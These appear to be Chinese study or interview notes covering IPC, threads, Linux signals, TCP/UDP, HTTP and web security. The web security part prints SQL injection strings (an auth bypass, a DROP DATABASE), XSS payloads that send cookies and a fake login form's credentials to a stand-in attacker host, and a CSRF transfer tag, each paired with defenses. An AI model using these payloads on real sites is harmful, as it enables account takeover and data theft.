问题汇总
KS
- 调度机器人顶举指定容器的商品到指定站点,完成【分拣投递】并打包出库流程。FWA模型主要是登记作业动作,并进行库存维护,触发订单状态扭转。
- Flip AGV子仓: 借鉴Go GMP并发模型思想,设计分拣投递系统。
- SocketGateWay缓存池:避免重复连接和连接复用。
数据层面:
32个站点,8秒做一次投递任务,一小时产能为:3600/8 * 32 = 1.44万件
QPS:1/8*32=4 ---- 1*32=32 = 4—32之间
JDB
UV:1.3亿
日活:130 0000(百万日活)
QPS:13000*4= 52000(5wqps)
单次请求响应 10ms => 1s最多访问 100个请求 => 520个并发
服务器配置:128G内存32核心
业务机器:单台机器处理进程数:128000M/30M = 4267进程
Mysql机器:5000IOPS
所需要机器数
服务器分层 |
刚需数量(台) |
冗余数量(台) |
Nginx接入层 |
1 |
1 |
业务机器 |
1 |
1 |
Redis |
16 |
|
Mysql |
|
|
总量 |
20 |
|
服务器:一个fastCGI进程30M * 100 = 3G, 140*1核*4G = 实例总数 , 140台/(8*32G) = 20台
go:6台
原因
现状:
集成度高
业务复杂度高
产品定制化高大多部署在工厂仓储内网,只能锻炼架构能力,项目管理能力,无法更好提升技术高并发,大数据的技术深度。所以想尝试更大流量的toc产品。
进程间通信
进程间通信的概念
每个进程各自有不同的用户地址空间,任何一个进程的全局变量在另一个进程中都看不到,所以进程之间要交换数据必须通过内核,在内核中开辟一块缓冲区,进程1把数据从用户空间拷到内核缓冲区,进程2再从内核缓冲区把数据读走,内核提供的这种机制称为进程间通信(IPC,InterProcess Communication)
进程间通信模型
通信方式
- 管道
- 有名管道
- 信号量
- 消息队列
- 共享内存
- 信号
- socket
解释
(1) 管道(pipe):管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有血缘关系的进程间使用。进程的血缘关系通常指父子进程关系。
(2)有名管道(named pipe):有名管道也是半双工的通信方式,但是它允许无亲缘关系进程间通信。
(3)信号量(semophore):信号量是一个计数器,可以用来控制多个进程对共享资源的访问。它通常作为一种锁机制,防止某进程正在访问共享资源时,其他进程也访问该资源。因此,主要作为进程间以及同一进程内不同线程之间的同步手段。
(4)消息队列(message queue):消息队列是由消息组成的链表,存放在内核中 并由消息队列标识符标识。消息队列克服了信号传递信息少,管道只能承载无格式字节流以及缓冲区大小受限缺点。
- 消息队列是存放在内核中的消息链表,每个消息队列由消息队列标识符表示。
- 与管道(无名管道:只存在于内存中的文件;命名管道:存在于实际的磁盘介质或者文件系统)不同的是消息队列存放在内核中,只有在内核重启(即,操作系统重启)或者显示地删除一个消息队列时,该消息队列才会被真正的删除。
- 另外与管道不同的是,消息队列在某个进程往一个队列写入消息之前,并不需要另外某个进程在该队列上等待消息的到达。延伸阅读:消息队列C语言的实践
(5)信号(signal):信号是一种比较复杂的通信方式,用于通知接收进程某一事件已经发生。
(6)共享内存(shared memory):共享内存就是映射一段能被其他进程所访问的内存,这段共享内存由一个进程创建,但多个进程都可以访问,共享内存是最快的IPC方式,它是针对其他进程间的通信方式运行效率低而专门设计的。它往往与其他通信机制,如信号量配合使用,来实现进程间的同步和通信。
(7)套接字(socket):套接口也是一种进程间的通信机制,与其他通信机制不同的是它可以用于不同进程通信。
套接字是一种通信机制,凭借这种机制,客户/服务器(即要进行通信的进程)系统的开发工作既可以在本地单机上进行,也可以跨网络进行。也就是说它可以让不在同一台计算机但通过网络连接计算机上的进程进行通信。
Socket是应用层和传输层之间的桥梁
套接字是支持TCP/IP的网络通信的基本操作单元,可以看做是不同主机之间的进程进行双向通信的端点,简单的说就是通信的两方的一种约定,用套接字中的相关函数来完成通信过程。
套接字特性
套接字的特性由3个属性确定,它们分别是:域、端口号、协议类型(tcp/ip,udp等)。
Socket通信基本流程
线程间的通信机制
进程的通信方式,线程都能用。
1、锁机制
1.1 互斥锁:提供了以排它方式阻止数据结构被并发修改的方法。
1.2 读写锁:允许多个线程同时读共享数据,而对写操作互斥。
1.3 条件变量:可以以原子的方式阻塞进程,直到某个特定条件为真为止。对条件测试是在互斥锁的保护下进行的。条件变量始终与互斥锁一起使用。
2、信号量机制:包括无名线程信号量与有名线程信号量
3、信号机制:类似于进程间的信号处理。
Linux系统中常用信号:
(1)SIGHUP:用户从终端注销,所有已启动进程都将收到该进程。系统缺省状态下对该信号的处理是终止进程。
(2)SIGINT:程序终止信号。程序运行过程中,按Ctrl+C
键将产生该信号。
(3)SIGQUIT:程序退出信号。程序运行过程中,按Ctrl+\\
键将产生该信号。
(4)SIGBUS和SIGSEGV:进程访问非法地址。
(5)SIGFPE:运算中出现致命错误,如除零操作、数据溢出等。
(6)SIGKILL:用户终止进程执行信号。shell下执行kill -9
发送该信号。
(7)SIGTERM:结束进程信号。shell下执行kill 进程pid
发送该信号。
(8)SIGALRM:定时器信号。
(9)SIGCLD:子进程退出信号。如果其父进程没有忽略该信号也没有处理该信号,则子进程退出后将形成僵尸进程。
线程间通信的主要目的是用于线程同步,所以线程没有象进程通信中用于数据交换的通信机制。
进程和线程的区别
定义:
进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动,进程是系统进行资源分配和调度的一个独立单位.
线程是进程的一个实体,它可与同属一个进程的其他的线程共享进程所拥有的全部资源.
.关系
一个线程可以创建和撤销另一个线程;同一个进程中的多个线程之间可以并发执行.
相对进程而言,线程是一个更加接近于执行体的概念,它可以与同进程中的其他线程共享数据,但拥有自己的栈空间,拥有独立的执行序列。
3.区别
进程和线程的主要差别在于它们是不同的操作系统资源管理方式。进程有独立的地址空间,一个进程崩溃后,不会对其它进程产生影响。
而线程只是一个进程中的不同执行路径。线程有自己的堆栈和局部变量,但线程之间没有单独的地址空间,一个线程死掉就等于整个进程死掉,所以多进程的程序要比多线程的程序健壮,但在进程切换时,耗费资源较大,效率要差一些。但对于一些要求同时进行并且又要共享某些变量的并发操作,只能用线程,不能用进程。
1) 简而言之,一个程序至少有一个进程,一个进程至少有一个线程.
2) 线程的划分尺度小于进程,使得多线程程序的并发性高。
3) 另外,进程在执行过程中拥有独立的内存单元,而多个线程共享内存,从而极大地提高了程序的运行效率。
4) 线程在执行过程中与进程还是有区别的。每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制。
5) 从逻辑角度来看,多线程的意义在于一个应用程序中,有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用,来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。
4.优缺点
线程和进程在使用上各有优缺点:线程执行开销小,但不利于资源的管理和保护;而进程正相反。
如何防止sql依赖注入
SQL注入攻击实例
比如在一个登录界面,要求输入用户名和密码:
可以这样输入实现免帐号登录:
用户名: ‘or 1 = 1 –-
密 码:
点登陆,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了.(当然现在的有些语言的数据库API已经处理了这些问题)
这是为什么呢? 下面我们分析一下:
从理论上说,后台认证程序中会有如下的SQL语句:
String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+password+" '";
当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=
'’or 1 = 1 -- and password='’
分析SQL语句:
条件后面username=”or 1=1 用户名等于 ” 或1=1 那么这个条件一定会成功;
然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
这还是比较温柔的,如果是执行
SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password=''
….其后果可想而知…
防止sql注入
- 预编译(prepare)
- 参数绑定
- 对参数进行转义
Xss攻击防护
2.跨站脚本攻击(XSS)
XSS全称(Cross Site Scripting) 跨站脚本攻击,是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
攻击原理
假如页面有如下一个输入框
<inputtype="text" name="record" value="沙发">
【沙发】是来自用户的输入,如果用户输入的是"οnfοcus="alert(document.cookie)
那么就会变成
<inputtype="text" name="address1" value=""οnfοcus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本。
XSS****分类
1.****反射型****XSS
反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。
比如攻击者将如下链接发送给受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因
2.****存储型****XSS
存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。
Xss****危害
1.****盗取****cookie
通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
2.****钓鱼攻击
所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:
<script>
functionhack(){
location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value+ "password=" + document.forms[0].pass.value);
}
</script>
<form>
<H3>此功能需要登录:</H3>
请输入用户名:
<inputtype=”text”id=”user”name=”user”>
请输入密码:
<inputtype=”password”name =“pass”>
<inputtype=”submit”name=”login”value=”登录”οnclick=”hack()”>
</form>
注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用 户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。
3. CSRF攻击
比如我们注入如下的HTML代码:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。
4.传播恶意软件
除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。
XSS****的预防
- 输入过滤: 对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
- 输出编码: 通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
- Cookie防盗 : 利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。
- http-only 设置,js不允许访问cookie。
3.CSRF 攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one clickattack/session riding,缩写为:CSRF/XSRF。
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
CSRF****漏洞现状
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
原理
网站A:为恶意网站。
网站B:用户已登录的网站。
当用户访问A站时,A站私自访问B站的操作链接,模拟用户操作。
假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A站直接访问该链接,就能删除用户在B站的评论。
CSRF****防御技巧
1.****验证码
几乎所有人都知道验证码,但验证码不单单用来防止***的暴力**,还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作,才能要求输入验证码。不过随着HTML5的发展。利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
2.Token
CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。
============================================
TCP/UDP
TCP和UDP区别
TCP靠谱 |
UDP不靠谱 |
面向连接 |
面向无连接 |
不丢包,不重复,按顺序到达 |
直接发,不问后果 |
面向字节流 |
面向数据包 |
拥堵控制 |
无拥塞控制 |
有状态服务 |
无状态服务 |
- tcp面向连接,udp面向无连接。在互通之前,面向连接的协议会先建立连接,tcp会三次握手,而udp不会。
- tcp提供可靠交付:通过tcp连接传输的数据,无差错,不丢失,不重复,并按序到达。而udp不保证不丢失,不保证按顺序到达。
- TCP面向字节流。udp基于数据包,一个一个地发,一个一个地收。
- TCP有拥塞控制,UDP没有。
- TCP有状态服务,精确地记录着发送了没有,接收了没有,发送到哪个了,应该接收哪个了,错一点都不行。udp则是无状态的。发出去就发出去了,不计后果。
UDP特点
- 简单:不需要维护数据结构,处理逻辑,包头字段简单直接发包即可。
- 不需要建立连接:它不会建立连接,虽然有端口号,但是监听在这个地方,谁都可以传给他数据,他也可以传给任何人数据,甚至可以同时传给多个人数据。
- 没有拥塞控制,应用让发就发,不问网络情况,拥塞程度,丢包程度,该怎么发还怎么发。
UDP三大使用场景
- 需要资源少,在网络情况比较好的内网,或者对于丢包不敏感的应用。
- 不需要一对一沟通,建立连接,而是可以广播的应用。
- 需要处理速度快,时延低,可以容忍少数丢包,但是要求即便网络拥塞,也毫不退缩,一往无前的时候。
头信息
UDP头
TCP头
UDP比较简单,主要说明一下TCP的包头信息:
- 源端口号和目标端口号是不可少的,这一点和 UDP 是一样的。如果没有这两个端口号。数据就不知道应该发给哪个应用。
- 接下来是包的序号。为什么要给包编号呢?当然是为了解决乱序的问题。不编好号怎么确认哪个应该先来,哪个应该后到呢。编号是为了解决乱序问题。
- 还应该有的就是确认序号。发出去的包应该有确认,要不然我怎么知道对方有没有收到呢?如果没有收到就应该重新发送,直到送达。这个可以解决不丢包的问题。
- 接下来有一些状态位。例如 SYN 是发起一个连接,ACK 是回复,RST 是重新连接,FIN 是结束连接等。TCP 是面向连接的,因而双方要维护连接的状态,这些带状态位的包的发送,会引起双方的状态变更。
- 还有一个重要的就是窗口大小。TCP 要做流量控制,通信双方各声明一个窗口,标识自己当前能够的处理能力,别发送的太快,撑死我,也别发的太慢,饿死我。既能适当提出自己的要求,又不强人所难。除了做流量控制以外,TCP 还会做拥塞控制,对于真正的通路堵车不堵车,它无能为力,唯一能做的就是控制自己,也即控制发送的速度。不能改变世界,就改变自己嘛。
TCP重点
顺序问题、丢包问题、连接维护问题,流量控制问题,拥塞问题
- 顺序问题 ,稳重不乱;(序号:seq)
- 丢包问题,承诺靠谱;(确认序号:ack)
- 连接维护,有始有终;(SYN,ACK,RST,FIN)
- 流量控制,把握分寸;(窗口)
- 拥塞控制,知进知退。(窗口)
TCP三次握手
请求 -> 应答 -> 应答之应答
- A:您好,我是 A。
- B:您好 A,我是 B。
- A:您好 B。
三次握手,主要保证自己的消息有去有回。
三次握手除了双方建立连接外,主要还是为了沟通一件事情,就是 TCP 包的序号的问题。
A 要告诉 B,我这面发起的包的序号起始是从哪个号开始的,B 同样也要告诉 A,B 发起的包的序号起始是从哪个号开始的。为什么序号不能都从 1 开始呢?因为这样往往会出现冲突。例如,A 连上 B 之后,发送了 1、2、3 三个包,但是发送 3 的时候,中间丢了,或者绕路了,于是重新发送,后来 A 掉线了,重新连上 B 后,序号又从 1 开始,然后发送 2,但是压根没想发送 3,但是上次绕路的那个 3 又回来了,发给了 B,B 自然认为,这就是下一个包,于是发生了错误。因而,每个连接都要有不同的序号。这个序号的起始序号是随着时间变化的,可以看成一个 32 位的计数器,每 4ms 加一,如果计算一下,如果到重复,需要 4 个多小时,那个绕路的包早就死翘翘了,因为我们都知道 IP 包头里面有个 TTL,也即生存时间。
握手状态机
双方终于建立了信任,建立了连接。前面也说过,为了维护这个连接,双方都要维护一个状态机,在连接建立的过程中,双方的状态变化时序图就像这样。
一开始,客户端和服务端都处于 CLOSED 状态。先是服务端主动监听某个端口,处于 LISTEN 状态。然后客户端主动发起连接 SYN,之后处于 SYN-SENT 状态。服务端收到发起的连接,返回 SYN,并且 ACK 客户端的 SYN,之后处于 SYN-RCVD 状态。客户端收到服务端发送的 SYN 和 ACK 之后,发送 ACK 的 ACK,之后处于 ESTABLISHED 状态,因为它一发一收成功了。服务端收到 ACK 的 ACK 之后,处于 ESTABLISHED 状态,因为它也一发一收了。
TCP 四次挥手
A:B 啊,我不想玩了。
B:哦,你不想玩了啊,我知道了。
这个时候,还只是 A 不想玩了,也即 A 不会再发送数据,但是 B 能不能在 ACK 的时候,直接关闭呢?当然不可以了,很有可能 A 是发完了最后的数据就准备不玩了,但是 B 还没做完自己的事情,还是可以发送数据的,所以称为半关闭的状态。
这个时候 A 可以选择不再接收数据了,也可以选择最后再接收一段数据,等待 B 也主动关闭。B:A 啊,好吧,我也不玩了,拜拜。A:好的,拜拜。这样整个连接就关闭了。但是这个过程有没有异常情况呢?当然有,上面是和平分手的场面。
A 开始说“不玩了”,B 说“知道了”,这个回合,是没什么问题的,因为在此之前,双方还处于合作的状态,如果 A 说“不玩了”,没有收到回复,则 A 会重新发送“不玩了”。但是这个回合结束之后,就有可能出现异常情况了,因为已经有一方率先撕破脸。一种情况是,A 说完“不玩了”之后,直接跑路,是会有问题的,因为 B 还没有发起结束,而如果 A 跑路,B 就算发起结束,也得不到回答,B 就不知道该怎么办了。另一种情况是,A 说完“不玩了”,B 直接跑路,也是有问题的,因为 A 不知道 B 是还有事情要处理,还是过一会儿会发送结束。
挥手状态机
断开的时候,我们可以看到,当 A 说“不玩了”,就进入 FIN_WAIT_1 的状态,B 收到“A 不玩”的消息后,发送知道了,就进入 CLOSE_WAIT 的状态。A 收到“B 说知道了”,就进入 FIN_WAIT_2 的状态,如果这个时候 B 直接跑路,则 A 将永远在这个状态。TCP 协议里面并没有对这个状态的处理,但是 Linux 有,可以调整 tcp_fin_timeout 这个参数,设置一个超时时间。
如果 B 没有跑路,发送了“B 也不玩了”的请求到达 A 时,A 发送“知道 B 也不玩了”的 ACK 后,从 FIN_WAIT_2 状态结束,按说 A 可以跑路了,但是最后的这个 ACK 万一 B 收不到呢?则 B 会重新发一个“B 不玩了”,这个时候 A 已经跑路了的话,B 就再也收不到 ACK 了,因而 TCP 协议要求 A 最后等待一段时间 TIME_WAIT,这个时间要足够长,长到如果 B 没收到 ACK 的话,“B 说不玩了”会重发的,A 会重新发一个 ACK 并且足够时间到达 B。
A 直接跑路还有一个问题是,A 的端口就直接空出来了,但是 B 不知道,B 原来发过的很多包很可能还在路上,如果 A 的端口被一个新的应用占用了,这个新的应用会收到上个连接中 B 发过来的包,虽然***是重新生成的,但是这里要上一个双保险,防止产生混乱,因而也需要等足够长的时间,等到原来 B 发送的所有的包都死翘翘,再空出端口来。
等待的时间设为 2MSL,MSL 是 Maximum Segment Lifetime,报文最大生存时间,它是任何报文在网络上存在的最长时间,超过这个时间报文将被丢弃。因为 TCP 报文基于是 IP 协议的,而 IP 头中有一个 TTL 域,是 IP 数据报可以经过的最大路由数,每经过一个处理他的路由器此值就减 1,当此值为 0 则数据报将被丢弃,同时发送 ICMP 报文通知源主机。协议规定 MSL 为 2 分钟,实际应用中常用的是 30 秒,1 分钟和 2 分钟等。
还有一个异常情况就是,B 超过了 2MSL 的时间,依然没有收到它发的 FIN 的 ACK,怎么办呢?按照 TCP 的原理,B 当然还会重发 FIN,这个时候 A 再收到这个包之后,A 就表示,我已经在这里等了这么长时间了,已经仁至义尽了,之后的我就都不认了,于是就直接发送 RST,B 就知道 A 早就跑了。
TCP总结
- TCP 包头很复杂,但是主要关注五个问题,顺序问题,丢包问题,连接维护,流量控制,拥塞控制;
- 连接的建立是经过三次握手,断开的时候四次挥手,一定要掌握的我画的那个状态图。
TCP如何做到靠谱的详细实现
具体如何解决:
详细处理机制请参考:https://time.geekbang.org/column/article/9141
http协议
HTTP原理
todo
HTTPS原理
todo
HTTP2.0和HTTP1.X相比的新特性
- 新的二进制格式(Binary Format),HTTP1.x的解析是基于文本。基于文本协议的格式解析存在天然缺陷,文本的表现形式有多样性,要做到健壮性考虑的场景必然很多,二进制则不同,只认0和1的组合。基于这种考虑HTTP2.0的协议解析决定采用二进制格式,实现方便且健壮。
- 多路复用(MultiPlexing),即连接共享,即每一个request都是是用作连接共享机制的。一个request对应一个id,这样一个连接上可以有多个request,每个连接的request可以随机的混杂在一起,接收方可以根据request的 id将request再归属到各自不同的服务端请求里面。
- header压缩,如上文中所言,对前面提到过HTTP1.x的header带有大量信息,而且每次都要重复发送,HTTP2.0使用encoder来减少需要传输的header大小,通讯双方各自cache一份header fields表,既避免了重复header的传输,又减小了需要传输的大小。
- 服务端推送(server push),同SPDY一样,HTTP2.0也具有server push功能。
HTTP2.0的多路复用和HTTP1.X中的长连接复用有什么区别?
- HTTP/1.* 一次请求-响应,建立一个连接,用完关闭;每一个请求都要建立一个连接;
- HTTP/1.1 Pipeling解决方式为,若干个请求排队串行化单线程处理,后面的请求等待前面请求的返回才能获得执行机会,一旦有某请求超时等,后续请求只能被阻塞,毫无办法,也就是人们常说的线头阻塞;
- HTTP/2多个请求可同时在一个连接上并行执行。某个请求任务耗时严重,不会影响到其它连接的正常执行;具体如图:
HTTP 2.0 其实是将三个请求变成三个流,将数据分成帧,乱序发送到一个 TCP 连接中。
HTTP 2.0 成功解决了 HTTP 1.1 的队首阻塞问题,同时,也不需要通过 HTTP 1.x 的 pipeline 机制用多条 TCP 连接来实现并行请求与响应;减少了 TCP 连接数对服务器性能的影响,同时将页面的多个数据 css、js、 jpg 等通过一个数据链接进行传输,能够加快页面组件的传输速度。
Http中的8种方法,安全和幂等
HTTP/1.1 规定了八种方法,单词都必须是大写的形式
1.GET:获取资源,可以理解为读取或者下载数据;
2.HEAD:获取资源的元信息,即获取响应头。
3.POST:向资源提交数据,相当于写入或上传数据;可以理解为新建(create)
4.PUT:类似 POST;可以理解为更新,修改
5.DELETE:删除资源;
6.CONNECT:建立特殊的连接隧道;
7.OPTIONS:列出可对资源实行的方法;
8.TRACE:追踪请求 - 响应的传输路径。
下面是总结:
其实实际开发中掌握GET,HEAD,POST,PUT就行了
接下来我们看看安全和幂等
安全是指方法不会“破坏”服务器上的资源,即不会对服务器资源造成实质的修改
按照这个定义,只有 GET 和 HEAD 方法是“安全”的,因为它们是“只读”操作,只要服务器不故意曲解请求方法的处理方式,无论 GET 和 HEAD 操作多少次,服务器上的数据都是“安全的”。
而 POST/PUT/DELETE 操作会修改服务器上的资源,增加或删除数据,所以是“不安全”的。
幂等意思是多次执行相同的操作,结果也都是相同的,即多次“幂”后结果“相等”。
很显然,GET 和 HEAD 既是安全的也是幂等的,DELETE 可以多次删除同一个资源,效果都是“资源不存在”,所以也是幂等的。
PUT 是“替换或更新数据”,多次更新一个资源,资源还是会第一次更新的状态,所以是幂等的。
POST 是“新增或提交数据”,多次提交数据会创建多个资源,所以不是幂等的。
总结:
幂等:GET、HEAD、DELETE、PUT
TCP/IP四层模型
TCP/IP 网络分层模型
还是先从 TCP/IP 协议开始讲起,一是因为它非常经典,二是因为它是目前事实上的网络通信标准,研究它的实用价值最大。TCP/IP 当初的设计者真的是非常聪明,创造性地提出了“分层”的概念,把复杂的网络通信划分出多个层次,再给每一个层次分配不同的职责,层次内只专心做自己的事情就好,用“分而治之”的思想把一个“大麻烦”拆分成了数个“小麻烦”,从而解决了网络通信的难题。你应该对 TCP/IP 的协议栈有所了解吧,这里我再贴一下层次图。
TCP/IP 协议总共有四层,就像搭积木一样,每一层需要下层的支撑,同时又支撑着上层,任何一层被抽掉都可能会导致整个协议栈坍塌。我们来仔细地看一下这个精巧的积木架构,注意它的层次顺序是“从下往上”数的,所以第一层就是最下面的一层。
第一层叫“链接层”(link layer),负责在以太网、WiFi 这样的底层网络上发送原始数据包,工作在网卡这个层次,使用 MAC 地址来标记网络上的设备,所以有时候也叫 MAC 层。
第二层叫“网际层”或者“网络互连层”(internet layer),IP 协议就处在这一层。因为 IP 协议定义了“IP 地址”的概念,所以就可以在“链接层”的基础上,用 IP 地址取代 MAC 地址,把许许多多的局域网、广域网连接成一个虚拟的巨大网络,在这个网络里找设备时只要把 IP 地址再“翻译”成 MAC 地址就可以了。
第三层叫“传输层”(transport layer),这个层次协议的职责是保证数据在 IP 地址标记的两点之间“可靠”地传输,是 TCP 协议工作的层次,另外还有它的一个“小伙伴”UDP。
TCP 是一个有状态的协议,需要先与对方建立连接然后才能发送数据,而且保证数据不丢失不重复。而 UDP 则比较简单,它无状态,不用事先建立连接就可以任意发送数据,但不保证数据一定会发到对方。两个协议的另一个重要区别在于数据的形式。TCP 的数据是连续的“字节流”,有先后顺序,而 UDP 则是分散的小数据包,是顺序发,乱序收。
关于 TCP 和 UDP 可以展开讨论的话题还有很多,比如最经典的“三次握手”和“四次挥手”,一时半会很难说完,好在与 HTTP 的关系不是太大,以后遇到了再详细讲解。
协议栈的第四层叫“应用层”(application layer),由于下面的三层把基础打得非常好,所以在这一层就“百花齐放”了,有各种面向具体应用的协议。例如 Telnet、SSH、FTP、SMTP 等等,当然还有我们的 HTTP。
MAC 层的传输单位是帧(frame),IP 层的传输单位是包(packet),TCP 层的传输单位是段(segment),HTTP 的传输单位则是消息或报文(message)。但这些名词并没有什么本质的区分,可以统称为数据包。
TCP/IP 协议栈的工作方式
你可以把 HTTP 利用 TCP/IP 协议栈传输数据想象成一个发快递的过程。
假设你想把一件毛绒玩具送给朋友,但你要先拿个塑料袋套一下,这件玩具就相当于 HTTP 协议里要传输的内容,比如 HTML,然后 HTTP 协议为它加一个 HTTP 专用附加数据。
你把玩具交给快递小哥,为了保护货物,他又加了层包装再贴了个标签,相当于在 TCP 层给数据再次打包,加上了 TCP 头。
接着快递小哥下楼,把包裹放进了三轮车里,运到集散点,然后再装进更大的卡车里,相当于在 IP 层、MAC 层对 TCP 数据包加上了 IP 头、MAC 头。
之后经过漫长的运输,包裹到达目的地,要卸货再放进另一位快递员的三轮车,就是在 IP 层、MAC 层传输后拆包。
快递员到了你朋友的家门口,撕掉标签,去除了 TCP 层的头,你朋友再拆掉塑料袋包装,也就是 HTTP 头,最后就拿到了玩具,也就是真正的 HTML 页面。
这个比喻里省略了很多 TCP/IP 协议里的细节,比如建连、路由、数据切分与重组、错误检查等,但核心的数据传输过程是差不多的。
HTTP 协议的传输过程就是这样通过协议栈逐层向下,每一层都添加本层的专有数据,层层打包,然后通过下层发送出去。
接收数据则是相反的操作,从下往上穿过协议栈,逐层拆包,每层去掉本层的专有头,上层就会拿到自己的数据。
但下层的传输过程对于上层是完全“透明”的,上层也不需要关心下层的具体实现细节,所以就 HTTP 层次来看,它不管下层是不是 TCP/IP 协议,看到的只是一个可靠的传输链路,只要把数据加上自己的头,对方就能原样收到。
我为这个过程画了一张图,你可以对照着加深理解。
OSI 网络分层模型
